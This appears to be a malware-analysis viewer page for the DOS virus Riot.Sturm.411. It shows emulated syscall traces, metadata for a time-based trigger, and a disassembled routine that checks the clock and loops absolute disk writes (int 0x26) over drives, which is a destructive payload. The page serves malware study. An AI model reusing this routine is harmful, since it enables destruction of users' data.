Sample viewer

vx.netlux.org/Virus.DOS.Riot.Sturm.411

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:10:50.387404468Z 44 PC: 12a82 | Get time 0x12a82: cmp dl, 2
0x12a85: je 0x12a93
0x12a87: mov ah, 0x2a
0x12a89: cmp dl, 2
0x12a8c: je 0x12a93
0x12a8e: cmp cl, 0x3b
0x12a91: jne 0x12aa6
0x12a93: mov al, 2
0x12a95: mov cx, 1
0x12a98: lea bx, word ptr [bp + 0x142]
0x12a9c: cdq
0x12a9d: int 0x26
0x12a9f: inc cx
0x12aa0: jae 0x12a9d
0x12aa2: inc al
0x12aa4: jmp 0x12a95
0x12aa6: mov ax, es
0x12aa8: add ax, 0x10
0x12aab: add ax, word ptr cs:[bp + 0x195]
0x12ab0: push ax
2018-12-17T22:10:50.390154315Z 26 PC: 12ac1 | Set disk transfer address
2018-12-17T22:10:50.391160019Z 25 PC: 12ac5 | Get default drive
2018-12-17T22:10:50.392156039Z 26 PC: 12b80 | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":59,"Second":0,"TimeBased":true,"OriginalID":2327,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:45:30.705971229Z 44 PC: 12a82 | Get time 0x12a82: cmp dl, 2
0x12a85: je 0x12a93
0x12a87: mov ah, 0x2a
0x12a89: cmp dl, 2
0x12a8c: je 0x12a93
0x12a8e: cmp cl, 0x3b
0x12a91: jne 0x12aa6
0x12a93: mov al, 2
0x12a95: mov cx, 1
0x12a98: lea bx, word ptr [bp + 0x142]
0x12a9c: cdq
0x12a9d: int 0x26
0x12a9f: inc cx
0x12aa0: jae 0x12a9d
0x12aa2: inc al
0x12aa4: jmp 0x12a95
0x12aa6: mov ax, es
0x12aa8: add ax, 0x10
0x12aab: add ax, word ptr cs:[bp + 0x195]
0x12ab0: push ax
2018-12-25T11:45:33.978908613Z 44 PC: 12a82 | Get time (See above)
2018-12-25T11:45:41.504667024Z 44 PC: 12a82 | Get time (See above)

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":2327,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:45:30.824176194Z 44 PC: 12a82 | Get time 0x12a82: cmp dl, 2
0x12a85: je 0x12a93
0x12a87: mov ah, 0x2a
0x12a89: cmp dl, 2
0x12a8c: je 0x12a93
0x12a8e: cmp cl, 0x3b
0x12a91: jne 0x12aa6
0x12a93: mov al, 2
0x12a95: mov cx, 1
0x12a98: lea bx, word ptr [bp + 0x142]
0x12a9c: cdq
0x12a9d: int 0x26
0x12a9f: inc cx
0x12aa0: jae 0x12a9d
0x12aa2: inc al
0x12aa4: jmp 0x12a95
0x12aa6: mov ax, es
0x12aa8: add ax, 0x10
0x12aab: add ax, word ptr cs:[bp + 0x195]
0x12ab0: push ax
2018-12-25T11:45:30.826556915Z 26 PC: 12ac1 | Set disk transfer address
2018-12-25T11:45:30.828035369Z 25 PC: 12ac5 | Get default drive
2018-12-25T11:45:30.829278007Z 26 PC: 12b80 | Set disk transfer address